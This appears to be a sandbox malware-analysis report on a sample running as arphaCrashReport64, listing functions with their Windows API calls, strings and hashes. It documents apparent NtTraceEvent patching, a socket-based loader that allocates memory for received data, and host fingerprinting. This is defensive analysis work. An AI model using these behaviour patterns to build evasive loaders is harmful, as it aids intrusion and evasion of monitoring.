Opcode Fuzzy Hash: 365d0e112e7cdaa6982ef6da38e7ea94118737f30474664e1cd6f0c1e0a991be
Instruction Fuzzy Hash: 3071117621AA8091EA60CF15E4487DAF374F7DD7E4F406125F98A42BD8DF38C546CB00

Function 0000021779384530 Relevance: 31.6, APIs: 12, Strings: 6, Instructions: 145
librarymemoryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleA.KERNEL32 ref: 000002177938455D
GetProcAddress.KERNEL32 ref: 000002177938456D
LoadLibraryA.KERNEL32 ref: 000002177938459E
GetProcAddress.KERNEL32 ref: 00000217793845AE
VirtualProtect.KERNELBASE ref: 00000217793845CF
VirtualProtect.KERNELBASE ref: 00000217793845E7
lstrcpy.KERNEL32 ref: 0000021779384603
CloseHandle.KERNEL32 ref: 0000021779384640
FindCloseChangeNotification.KERNELBASE ref: 0000021779384665
CreateThread.KERNELBASE ref: 00000217793846F7
WaitForSingleObject.KERNEL32 ref: 0000021779384706
CloseHandle.KERNEL32 ref: 000002177938470F

Strings

driver, xrefs: 000002177938467B
ntdll.dll, xrefs: 000002177938454E, 0000021779384587
Mov, xrefs: 0000021779384715
NtTraceEvent, xrefs: 00000217793845A4
run, xrefs: 000002177938466B
NtTerminateThread, xrefs: 0000021779384563

Memory Dump Source

Source File: 00000005.00000002.3528737888.0000021779380000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000021779380000, based on PE: true

Associated: 00000005.00000002.3528737888.00000217793A8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3528737888.0000021779661000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_21779380000_arphaCrashReport64.jbxd

Similarity

API ID: CloseHandle$AddressProcProtectVirtual$ChangeCreateFindLibraryLoadModuleNotificationObjectSingleThreadWaitlstrcpy
String ID: Mov$NtTerminateThread$NtTraceEvent$driver$ntdll.dll$run
API String ID: 1569784174-2918648053
Opcode ID: 7b1ee9c18eb7b140bc95ef8b353150d332ff35e3fc96c6eef656a7be9ee323cc
Instruction ID: 7b6d3d9db44ad4dfbf9963ac198d02edfec8d47d41667e20f88c15f29abc3be5
Opcode Fuzzy Hash: 7b1ee9c18eb7b140bc95ef8b353150d332ff35e3fc96c6eef656a7be9ee323cc
Instruction Fuzzy Hash: CE617E3161EA8195FA10DF21A85C7EAE3B1E7EDBB8F845125EA4A47BD5DE3CC006C710

Function 00007FFE113963F8 Relevance: 28.9, APIs: 19, Instructions: 377
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LCMapStringW.KERNELBASE ref: 00007FFE1139646A
GetLastError.KERNEL32 ref: 00007FFE11396480
MultiByteToWideChar.KERNEL32 ref: 00007FFE1139652A
malloc.LIBCMT ref: 00007FFE1139659B
MultiByteToWideChar.KERNEL32 ref: 00007FFE113965D2
LCMapStringW.KERNEL32 ref: 00007FFE113965F7
LCMapStringW.KERNEL32 ref: 00007FFE11396647
malloc.LIBCMT ref: 00007FFE1139669A
LCMapStringW.KERNEL32 ref: 00007FFE113966D4
WideCharToMultiByte.KERNEL32 ref: 00007FFE11396717
free.LIBCMT ref: 00007FFE11396728
free.LIBCMT ref: 00007FFE11396736
LCMapStringA.KERNEL32 ref: 00007FFE113967C5
malloc.LIBCMT ref: 00007FFE11396833
LCMapStringA.KERNEL32 ref: 00007FFE1139687C
free.LIBCMT ref: 00007FFE113968C4
LCMapStringA.KERNEL32 ref: 00007FFE113968E4
free.LIBCMT ref: 00007FFE113968F6
free.LIBCMT ref: 00007FFE11396908

Memory Dump Source

Source File: 00000005.00000002.3529388038.00007FFE11391000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FFE11390000, based on PE: true

Associated: 00000005.00000002.3529354662.00007FFE11390000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3529427774.00007FFE1139A000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3529464710.00007FFE1139E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3529497074.00007FFE113A1000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffe11390000_arphaCrashReport64.jbxd

Similarity

API ID: String$free$ByteCharMultiWidemalloc$ErrorLast
String ID:
API String ID: 1837315383-0
Opcode ID: 400ea71fb48555d96f43ecf733a5580efca3da6b475d4926e1cb498674c2e82d
Instruction ID: 8db64ee65a05b9f386ea99eb356bbacaab41c42842da2749a920a18c40ff071d
Opcode Fuzzy Hash: 400ea71fb48555d96f43ecf733a5580efca3da6b475d4926e1cb498674c2e82d
Instruction Fuzzy Hash: 60F1F6B2A09A8986E7208F26D4001AD7799FB447B8F564275DA1F57BECDF3CE940D700

Function 0000021777960C79 Relevance: 17.7, APIs: 9, Strings: 1, Instructions: 249
networkmemorynativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WSAStartup.WS2_32 ref: 0000021777960CE7
socket.WS2_32 ref: 0000021777960D0E
connect.WS2_32 ref: 0000021777960D75
send.WS2_32 ref: 0000021777960D8B
recv.WS2_32 ref: 0000021777960DB5
NtAllocateVirtualMemory.NTDLL ref: 0000021777960DEE
NtAllocateVirtualMemory.NTDLL ref: 0000021777960E37
recv.WS2_32 ref: 0000021777960E50
closesocket.WS2_32 ref: 0000021777960E90

Strings

@, xrefs: 0000021777960E0A

Memory Dump Source

Source File: 00000005.00000002.3528254259.0000021777960000.00000040.00000020.00020000.00000000.sdmp, Offset: 0000021777960000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_21777960000_arphaCrashReport64.jbxd

Similarity

API ID: AllocateMemoryVirtualrecv$Startupclosesocketconnectsendsocket
String ID: @
API String ID: 4278212906-2766056989
Opcode ID: 56a3fed7da5864b94984c1579b8c5a1be58e3b0788e64a60c5c1e2669a7318f1
Instruction ID: b1e8d6748a4b6a580d6d2980872ffd2372dee6878c152ad8edab9837b762ed36
Opcode Fuzzy Hash: 56a3fed7da5864b94984c1579b8c5a1be58e3b0788e64a60c5c1e2669a7318f1
Instruction Fuzzy Hash: 4E71C33020CB484FDBA9EF288899BF9B7E1FB99304F10866DD58EC7196DE31D5468B41

Function 0000021779381E80 Relevance: 13.7, APIs: 9, Instructions: 220
memorythreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SleepEx.KERNEL32 ref: 0000021779381ED5
GetCurrentThreadId.KERNEL32 ref: 0000021779381EE5
VirtualAlloc.KERNEL32 ref: 0000021779381F6D
VirtualFree.KERNEL32 ref: 0000021779381FA7
VirtualAlloc.KERNEL32 ref: 000002177938200F
VirtualFree.KERNEL32 ref: 0000021779382049
VirtualAlloc.KERNEL32 ref: 00000217793820BC
VirtualFree.KERNEL32 ref: 00000217793820F6
GetCurrentThreadId.KERNEL32 ref: 0000021779382173

Memory Dump Source

Source File: 00000005.00000002.3528737888.0000021779380000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000021779380000, based on PE: true

Associated: 00000005.00000002.3528737888.00000217793A8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3528737888.0000021779661000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_21779380000_arphaCrashReport64.jbxd

Similarity

API ID: Virtual$AllocFree$CurrentThread$Sleep
String ID:
API String ID: 2090942847-0
Opcode ID: 0efdc29df09f4a7188a29b8634807d3c226196f672a366a7f8e6bc1b669edc25
Instruction ID: 9d1a77fb16f01a1a4c064efeec7b0eb080e689e709c901677c9e9b0cb0f2eba0
Opcode Fuzzy Hash: 0efdc29df09f4a7188a29b8634807d3c226196f672a366a7f8e6bc1b669edc25
Instruction Fuzzy Hash: FD919F3230AB8097E719CF25D248BE9E7B1F799794F105228EB4693B90DB34E4B2C750

Function 0000021779090020 Relevance: 7.5, APIs: 2, Strings: 2, Instructions: 457memorynativeCOMMON

Download Yara Rule

APIs

NtAllocateVirtualMemory.NTDLL ref: 000002177909011F

Strings

XVXT, xrefs: 000002177909042B
@, xrefs: 00000217790900ED

Memory Dump Source

Source File: 00000005.00000002.3528412281.0000021779090000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000021779090000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_21779090000_arphaCrashReport64.jbxd

Similarity

API ID: AllocateMemoryVirtual
String ID: @$XVXT
API String ID: 2167126740-4063696373
Opcode ID: 6b8ca969d0edacce73b4e7c308406ec1214b92f2b93040ed9f05acbd5687362f
Instruction ID: 4a92c211a201752cedf6737112d3a849aa733b1d41d50471fed2c8d0b7cb043a
Opcode Fuzzy Hash: 6b8ca969d0edacce73b4e7c308406ec1214b92f2b93040ed9f05acbd5687362f
Instruction Fuzzy Hash: E2D1B730619A0A8FDB59DF18D888BF9B7F1FBA9325F14416DE44AD7192DA31D843CB40

Function 0000021779090091 Relevance: 5.5, APIs: 2, Strings: 1, Instructions: 296memorylibrarynativeCOMMON

Download Yara Rule

APIs

NtAllocateVirtualMemory.NTDLL ref: 000002177909011F
LdrLoadDll.NTDLL ref: 00000217790902D8

Strings

@, xrefs: 00000217790900ED

Memory Dump Source

Source File: 00000005.00000002.3528412281.0000021779090000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000021779090000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_21779090000_arphaCrashReport64.jbxd

Similarity

API ID: AllocateLoadMemoryVirtual
String ID: @
API String ID: 582251630-2766056989
Opcode ID: c2f7a8c889b9dcb2227e988a3cb537535b5236b3493b5ac8ebfb49acde9b56f0
Instruction ID: 1973956616331b1bab66e861a0f506522a2c7c8b693b295054dbe152356311b1
Opcode Fuzzy Hash: c2f7a8c889b9dcb2227e988a3cb537535b5236b3493b5ac8ebfb49acde9b56f0
Instruction Fuzzy Hash: 0591B530629A0A8FDB59DF58C8887F8B7F1FBA9325F14816DE44AD7192DA30D847CB40

Function 00007FFE11391050 Relevance: 82.4, APIs: 8, Strings: 39, Instructions: 139
libraryloaderregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcAddress.KERNEL32 ref: 00007FFE113910D4
RegOpenKeyExW.KERNELBASE ref: 00007FFE113910FB
GetProcAddress.KERNEL32 ref: 00007FFE113911EB
RegGetValueW.KERNELBASE ref: 00007FFE1139122E
GetProcAddress.KERNEL32 ref: 00007FFE1139128B
RegCloseKey.KERNELBASE ref: 00007FFE11391296
GetProcAddress.KERNEL32 ref: 00007FFE1139131F
VirtualProtect.KERNELBASE ref: 00007FFE11391345

Strings

K, xrefs: 00007FFE1139126C
l, xrefs: 00007FFE113911C3
o, xrefs: 00007FFE1139125D
W, xrefs: 00007FFE113911DB
g, xrefs: 00007FFE1139124E
r, xrefs: 00007FFE113912B7
r, xrefs: 00007FFE113912E7
e, xrefs: 00007FFE1139118B
e, xrefs: 00007FFE11391267
u, xrefs: 00007FFE113912C7
y, xrefs: 00007FFE1139127C
V, xrefs: 00007FFE113912A7
i, xrefs: 00007FFE113912AF
l, xrefs: 00007FFE113912D7
R, xrefs: 00007FFE11391244
s, xrefs: 00007FFE11391262
e, xrefs: 00007FFE113911D3
e, xrefs: 00007FFE113912FF
c, xrefs: 00007FFE11391307
o, xrefs: 00007FFE113912EF
g, xrefs: 00007FFE11391193
e, xrefs: 00007FFE113911A3
P, xrefs: 00007FFE113912DF
lpData, xrefs: 00007FFE11391206
t, xrefs: 00007FFE1139130F
C, xrefs: 00007FFE11391253
e, xrefs: 00007FFE11391274
l, xrefs: 00007FFE11391258
G, xrefs: 00007FFE1139119B
a, xrefs: 00007FFE113911BB
a, xrefs: 00007FFE113912CF
t, xrefs: 00007FFE113912F7
V, xrefs: 00007FFE113911B3
R, xrefs: 00007FFE11391183
SOFTWARE, xrefs: 00007FFE113910DF
e, xrefs: 00007FFE11391249
t, xrefs: 00007FFE113912BF
t, xrefs: 00007FFE113911AB
u, xrefs: 00007FFE113911CB

Memory Dump Source

Source File: 00000005.00000002.3529388038.00007FFE11391000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FFE11390000, based on PE: true

Associated: 00000005.00000002.3529354662.00007FFE11390000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3529427774.00007FFE1139A000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3529464710.00007FFE1139E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3529497074.00007FFE113A1000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffe11390000_arphaCrashReport64.jbxd

Similarity

API ID: AddressProc$CloseOpenProtectValueVirtual
String ID: C$G$K$P$R$R$SOFTWARE$V$V$W$a$a$c$e$e$e$e$e$e$e$g$g$i$l$l$l$lpData$o$o$r$r$s$t$t$t$t$u$u$y
API String ID: 2887040864-1668064147
Opcode ID: 66db1752739624b81b7b7db69dcd4bd46bfa9ff92f5b6477fe3715e5f2e82e2d
Instruction ID: b9e66ecc2df63d65e2b83f6091f7e84a0eca6bea4e4648ddcde0dc35ce6fb4b0
Opcode Fuzzy Hash: 66db1752739624b81b7b7db69dcd4bd46bfa9ff92f5b6477fe3715e5f2e82e2d
Instruction Fuzzy Hash: 07811C2260CAC1C9E721C729E44835FBF91E792758F444169D3CD47AAACFBEC149CB26

Function 0000021779383560 Relevance: 43.9, APIs: 11, Strings: 14, Instructions: 188
librarystringprocessCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0000021779383430: GetCurrentHwProfileA.ADVAPI32 ref: 000002177938346F
Part of subcall function 0000021779383430: GetComputerNameA.KERNEL32 ref: 00000217793834C5

lstrcat.KERNEL32 ref: 00000217793835C6

Part of subcall function 00000217793921D0: GetComputerNameA.KERNEL32 ref: 000002177939222B
Part of subcall function 00000217793921D0: lstrcpy.KERNEL32 ref: 0000021779392241
Part of subcall function 00000217793921D0: wsprintfA.USER32 ref: 0000021779392270

GetComputerNameA.KERNEL32 ref: 00000217793835FF
GetCurrentProcessId.KERNEL32 ref: 0000021779383612
LoadLibraryA.KERNEL32 ref: 000002177938367A
GetProcAddress.KERNEL32 ref: 000002177938368A
GetUserNameA.ADVAPI32 ref: 0000021779383699
CreateToolhelp32Snapshot.KERNEL32 ref: 0000021779383703
lstrlen.KERNEL32 ref: 0000021779383763
_localtime64.LIBCMT ref: 000002177938377C
wsprintfA.USER32 ref: 00000217793837B2
GetModuleFileNameA.KERNEL32 ref: 000002177938383C

Strings

serN, xrefs: 0000021779383633
pi32, xrefs: 0000021779383658
%d-%d-%d %d:%d, xrefs: 00000217793837A8
Group, xrefs: 00000217793837DD, 00000217793837FC
run, xrefs: 0000021779383857
2, xrefs: 0000021779383621
Time, xrefs: 0000021779383751, 00000217793837BB
driver, xrefs: 0000021779383842
2, xrefs: 00000217793835CC
.dll, xrefs: 0000021779383662
ameA, xrefs: 000002177938363D
Adva, xrefs: 000002177938364E
Remark, xrefs: 00000217793835D4
GetU, xrefs: 0000021779383629

Memory Dump Source

Source File: 00000005.00000002.3528737888.0000021779380000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000021779380000, based on PE: true

Associated: 00000005.00000002.3528737888.00000217793A8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3528737888.0000021779661000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_21779380000_arphaCrashReport64.jbxd

Similarity

API ID: Name$Computer$Currentwsprintf$AddressCreateFileLibraryLoadModuleProcProcessProfileSnapshotToolhelp32User_localtime64lstrcatlstrcpylstrlen
String ID: %d-%d-%d %d:%d$.dll$2$2$Adva$GetU$Group$Remark$Time$ameA$driver$pi32$run$serN
API String ID: 2203227563-3218832578
Opcode ID: 4c9df6ceb10faf31e691ca73e19ae76b27f32ce6c5577c60513530c26abd7d4c
Instruction ID: 12d99faa45ad50a714d232c127074e3845a92af9b02b5cf71b7eb39d08153898
Opcode Fuzzy Hash: 4c9df6ceb10faf31e691ca73e19ae76b27f32ce6c5577c60513530c26abd7d4c
Instruction Fuzzy Hash: 0B91D53220A68086E720DF34E8487DDB771F7E87B8F405226EA5947AE6DF78C606C700

Function 0000021779381BF0 Relevance: 19.7, APIs: 13, Instructions: 152
networktimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ResetEvent.KERNEL32 ref: 0000021779381C2D
timeGetTime.WINMM ref: 0000021779381C3F
socket.WS2_32 ref: 0000021779381C66
gethostbyname.WS2_32 ref: 0000021779381C80
htons.WS2_32 ref: 0000021779381C97
connect.WS2_32 ref: 0000021779381CBB
getsockname.WS2_32 ref: 0000021779381CE3
inet_ntop.WS2_32 ref: 0000021779381D11
setsockopt.WS2_32 ref: 0000021779381D39
setsockopt.WS2_32 ref: 0000021779381D61
setsockopt.WS2_32 ref: 0000021779381D89
setsockopt.WS2_32 ref: 0000021779381DAD
WSAIoctl.WS2_32 ref: 0000021779381DF8

Memory Dump Source

Source File: 00000005.00000002.3528737888.0000021779380000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000021779380000, based on PE: true

Associated: 00000005.00000002.3528737888.00000217793A8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3528737888.0000021779661000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_21779380000_arphaCrashReport64.jbxd

Similarity

API ID: setsockopt$EventIoctlResetTimeconnectgethostbynamegetsocknamehtonsinet_ntopsockettime
String ID:
API String ID: 4102826399-0
Opcode ID: 69823b34bc752394f411954f9e383b6d2b1dd5977c59d891b4d8328fbe2701bc
Instruction ID: e63c4fe82fd08bc65ba4b2d87b4e14d4aeea369f0ffd2de1bd1fbfe7e919e274
Opcode Fuzzy Hash: 69823b34bc752394f411954f9e383b6d2b1dd5977c59d891b4d8328fbe2701bc
Instruction Fuzzy Hash: DA715872705A419AE720CFA5E8487DDB3B1F7987A8F004226EF4957B98DF78C16AC740

Function 0000021779384430 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 58
windowregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegisterClassExA.USER32 ref: 0000021779384476
GetModuleHandleA.KERNEL32 ref: 000002177938448E
CreateWindowExA.USER32 ref: 00000217793844D0
GetMessageA.USER32 ref: 00000217793844E8
TranslateMessage.USER32 ref: 00000217793844FC
DispatchMessageA.USER32 ref: 0000021779384507
GetMessageA.USER32 ref: 000002177938451A

Strings

QjNy1jwRYuH6aNtMf3Jz, xrefs: 0000021779384457

Memory Dump Source

Source File: 00000005.00000002.3528737888.0000021779380000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000021779380000, based on PE: true

Associated: 00000005.00000002.3528737888.00000217793A8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3528737888.0000021779661000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_21779380000_arphaCrashReport64.jbxd

Similarity

API ID: Message$ClassCreateDispatchHandleModuleRegisterTranslateWindow
String ID: QjNy1jwRYuH6aNtMf3Jz
API String ID: 3848795541-3621823610
Opcode ID: 3406c9ca98162bfd763306c4c3a91e589ec25171c65301aba56c24f70cb98ac9
Instruction ID: 0e3929b0d31da160893334ddd93302decdfbe227ad600a9e6a3680fca4f6b7cc
Opcode Fuzzy Hash: 3406c9ca98162bfd763306c4c3a91e589ec25171c65301aba56c24f70cb98ac9
Instruction Fuzzy Hash: F5213031619A8186E7608F64F84879BF7B0F7E8724F905225E65D43AE4DF3CC11A8B10

Function 00000217793821C0 Relevance: 13.6, APIs: 9, Instructions: 97
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

select.WS2_32 ref: 0000021779382255
recv.WS2_32 ref: 0000021779382274
_errno.LIBCMT ref: 0000021779382280
_errno.LIBCMT ref: 000002177938228A
_errno.LIBCMT ref: 0000021779382297
setsockopt.WS2_32 ref: 00000217793822FF
CancelIo.KERNEL32 ref: 0000021779382309
closesocket.WS2_32 ref: 0000021779382319
SetEvent.KERNEL32 ref: 0000021779382326

Memory Dump Source

Source File: 00000005.00000002.3528737888.0000021779380000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000021779380000, based on PE: true

Associated: 00000005.00000002.3528737888.00000217793A8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3528737888.0000021779661000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_21779380000_arphaCrashReport64.jbxd

Similarity

API ID: _errno$CancelEventclosesocketrecvselectsetsockopt
String ID:
API String ID: 2233327707-0
Opcode ID: a05aeac41a3b76157148e5e7acf1457028f623d998fb654da6be27c4cb197c78
Instruction ID: 47e211937abf6b3d60e8ae628fe382373942e314d5ec8a30bfa58b863f92b5e3
Opcode Fuzzy Hash: a05aeac41a3b76157148e5e7acf1457028f623d998fb654da6be27c4cb197c78
Instruction Fuzzy Hash: 1041607220AA8081E7A09F25E448BE9F7B0F7E9BB4F542135EA9947AD5CB38C4468710

Function 00007FF73D1CE8B0 Relevance: 13.6, APIs: 9, Instructions: 94
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__scrt_initialize_crt.LIBCMT ref: 00007FF73D1CE8BF

Part of subcall function 00007FF73D1CDDC0: __vcrt_initialize.LIBVCRUNTIME ref: 00007FF73D1CDDE2

__scrt_release_startup_lock.LIBCMT ref: 00007FF73D1CE942
__scrt_is_nonwritable_in_current_image.LIBCMT ref: 00007FF73D1CE958
__scrt_is_nonwritable_in_current_image.LIBCMT ref: 00007FF73D1CE984
__scrt_get_show_window_mode.LIBCMT ref: 00007FF73D1CE995
__scrt_is_managed_app.LIBCMT ref: 00007FF73D1CE9B8
__scrt_uninitialize_crt.LIBCMT ref: 00007FF73D1CE9CF
__scrt_fastfail.LIBCMT ref: 00007FF73D1CEA01
__scrt_fastfail.LIBCMT ref: 00007FF73D1CEA0C

Memory Dump Source

Source File: 00000005.00000002.3529204060.00007FF73D1C1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF73D1C0000, based on PE: true

Associated: 00000005.00000002.3529172874.00007FF73D1C0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3529246026.00007FF73D1E2000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3529283851.00007FF73D1F2000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3529321595.00007FF73D1F5000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff73d1c0000_arphaCrashReport64.jbxd

Similarity

API ID: __scrt_fastfail__scrt_is_nonwritable_in_current_image$__scrt_get_show_window_mode__scrt_initialize_crt__scrt_is_managed_app__scrt_release_startup_lock__scrt_uninitialize_crt__vcrt_initialize
String ID:
API String ID: 1011152198-0
Opcode ID: e49450ee6f6a2700efc2b99d1c8661abeac7e54670bb419982dbb3fd25f039fb
Instruction ID: 7384ec10481b7e46c3109f3fe50133788ab669ca106a62d4fddd13f65e9a4993
Opcode Fuzzy Hash: e49450ee6f6a2700efc2b99d1c8661abeac7e54670bb419982dbb3fd25f039fb
Instruction Fuzzy Hash: 83313A21E0C20F67FA64BBE5B4213B9D7919F45784FC64034E58D0B2E7FF2CA844A260

Function 00007FFE113918E0 Relevance: 10.6, APIs: 7, Instructions: 87
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FFE11393B20: HeapCreate.KERNELBASE(?,?,?,?,00007FFE113918F5), ref: 00007FFE11393B32
Part of subcall function 00007FFE11393B20: HeapSetInformation.KERNEL32 ref: 00007FFE11393B5C

_RTC_Initialize.LIBCMT ref: 00007FFE11391910
GetCommandLineA.KERNEL32 ref: 00007FFE11391915

Part of subcall function 00007FFE113938FC: GetEnvironmentStringsW.KERNEL32(?,?,?,?,?,?,?,00007FFE11391927), ref: 00007FFE1139392B
Part of subcall function 00007FFE113938FC: GetEnvironmentStringsW.KERNEL32(?,?,?,?,?,?,?,00007FFE11391927), ref: 00007FFE1139396B

Part of subcall function 00007FFE113931A8: GetStartupInfoA.KERNEL32 ref: 00007FFE113931CD

__setargv.LIBCMT ref: 00007FFE1139193E
_cinit.LIBCMT ref: 00007FFE11391952

Part of subcall function 00007FFE113928E4: FlsFree.KERNEL32(?,?,?,?,00007FFE113919A3), ref: 00007FFE113928F3
Part of subcall function 00007FFE113928E4: DeleteCriticalSection.KERNEL32(?,?,?,000005AA,?,?,?,?,?,?,?,?,?,00007FFE113919A3), ref: 00007FFE1139430E
Part of subcall function 00007FFE113928E4: free.LIBCMT ref: 00007FFE11394317
Part of subcall function 00007FFE113928E4: DeleteCriticalSection.KERNEL32(?,?,?,000005AA,?,?,?,?,?,?,?,?,?,00007FFE113919A3), ref: 00007FFE11394337

Part of subcall function 00007FFE11393498: free.LIBCMT ref: 00007FFE113934DF

Part of subcall function 00007FFE11392CD0: Sleep.KERNEL32(?,?,?,00007FFE113929F3,?,?,?,00007FFE1139253D,?,?,?,?,00007FFE11391ECD), ref: 00007FFE11392D15

FlsSetValue.KERNEL32 ref: 00007FFE113919D8
GetCurrentThreadId.KERNEL32 ref: 00007FFE113919EC
free.LIBCMT ref: 00007FFE113919FB

Part of subcall function 00007FFE11391EA8: HeapFree.KERNEL32(?,?,?,00007FFE113916FD), ref: 00007FFE11391EBE
Part of subcall function 00007FFE11391EA8: _errno.LIBCMT ref: 00007FFE11391EC8
Part of subcall function 00007FFE11391EA8: GetLastError.KERNEL32(?,?,?,00007FFE113916FD), ref: 00007FFE11391ED0

Memory Dump Source

Source File: 00000005.00000002.3529388038.00007FFE11391000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FFE11390000, based on PE: true

Associated: 00000005.00000002.3529354662.00007FFE11390000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3529427774.00007FFE1139A000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3529464710.00007FFE1139E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3529497074.00007FFE113A1000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffe11390000_arphaCrashReport64.jbxd

Similarity

API ID: Heapfree$CriticalDeleteEnvironmentFreeSectionStrings$CommandCreateCurrentErrorInfoInformationInitializeLastLineSleepStartupThreadValue__setargv_cinit_errno
String ID:
API String ID: 1549890855-0
Opcode ID: 40821d3dc59cbf3c64e4d84b918f9b165b5e38ad200d41ae6754068b14a37dbd
Instruction ID: 86960b25d77cc9785330878f2373ed4958b9489e5652535be4094dca5fe76029
Opcode Fuzzy Hash: 40821d3dc59cbf3c64e4d84b918f9b165b5e38ad200d41ae6754068b14a37dbd
Instruction Fuzzy Hash: C531D160E0CE0F41FBA4777359022BA259D9F50370F1745B9E81FA52FEEE2CB84152A2

Function 00007FF73D1C6790 Relevance: 10.6, APIs: 7, Instructions: 75
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CoInitialize.OLE32 ref: 00007FF73D1C67A4
InitCommonControlsEx.COMCTL32 ref: 00007FF73D1C67BF

Part of subcall function 00007FF73D1C2DB0: GetCurrentThreadId.KERNEL32 ref: 00007FF73D1C2DDF

GetCommandLineW.KERNEL32 ref: 00007FF73D1C67D9

Part of subcall function 00007FF73D1C4FE0: CommandLineToArgvW.SHELL32 ref: 00007FF73D1C5028
Part of subcall function 00007FF73D1C4FE0: SetWindowLocalDump.ARPHADUMP64 ref: 00007FF73D1C5059
Part of subcall function 00007FF73D1C4FE0: SetWindowLocalDump.ARPHADUMP64 ref: 00007FF73D1C5094
Part of subcall function 00007FF73D1C4FE0: SetWindowLocalDump.ARPHADUMP64 ref: 00007FF73D1C50F1

EnterCriticalSection.KERNEL32 ref: 00007FF73D1C67F4
DestroyWindow.USER32 ref: 00007FF73D1C6812
LeaveCriticalSection.KERNEL32 ref: 00007FF73D1C6857
CoUninitialize.OLE32 ref: 00007FF73D1C68A7

Memory Dump Source

Source File: 00000005.00000002.3529204060.00007FF73D1C1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF73D1C0000, based on PE: true

Associated: 00000005.00000002.3529172874.00007FF73D1C0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3529246026.00007FF73D1E2000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3529283851.00007FF73D1F2000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3529321595.00007FF73D1F5000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff73d1c0000_arphaCrashReport64.jbxd

Similarity

API ID: Window$DumpLocal$CommandCriticalLineSection$ArgvCommonControlsCurrentDestroyEnterInitInitializeLeaveThreadUninitialize
String ID:
API String ID: 4232477309-0
Opcode ID: 6016dd98208aa9a108adf78c0108ff9928f39f32039d0d110344441888cf9f30
Instruction ID: c1592ad4258f049f579cfaee26973082147131256e8cf10d270c827fa2e8703d
Opcode Fuzzy Hash: 6016dd98208aa9a108adf78c0108ff9928f39f32039d0d110344441888cf9f30
